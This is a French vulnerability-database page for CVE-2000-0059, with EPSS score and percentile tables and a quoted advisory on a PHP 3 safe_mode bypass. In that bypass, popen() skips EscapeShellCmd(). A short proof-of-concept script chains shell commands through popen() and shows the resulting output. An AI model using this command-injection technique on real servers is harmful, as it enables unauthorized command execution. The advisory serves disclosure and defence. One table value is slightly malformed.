CVE-2000-0059 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.61%	–
2024-02-11	–	–	–	6.4%	–
2024-03-24	–	–	–	6.4%	–
2024-06-02	–	–	–	6.4%	–
2025-01-19	–	–	–	6.4%	–
2025-03-18	–	–	–	–	3.09%
2025-03-30	–	–	–	–	3.45%
2025-03-30	–	–	–	–	3.45,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	89%
2024-02-11	93%
2024-03-24	94%
2024-06-02	94%
2025-01-19	94%
2025-03-18	86%
2025-03-30	86%
2025-03-30	86%

source: https://www.securityfocus.com/bid/911/info PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. Because it runs on a webserver and allows for user implemented (and perhaps security relevant) code to be executed on it, PHP has built in a security feature called 'safe_mode' to control executed commands to the webroot environment which PHP operates in. This is done by forcing any system call which executes shell commands to have their shell commands passed to the EscapeShellCmd() function which ensures the commands do not take place outside the webroot directory. Under certain versions of PHP however, the popen() command fails to be applied to the EscapeShellCmd() command and as such users can possibly exploit PHP applications running in 'safe_mode' which make of use of the 'popen' system call. <?php $fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); echo "$fp<br>\n"; while($line = fgets($fp, 1024)): printf("%s<br>\n", $line); endwhile; pclose($fp); phpinfo(); ?> which gave me the following output 1 total 53 -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) and from the configuration values of phpinfo(): safe_mode 0 1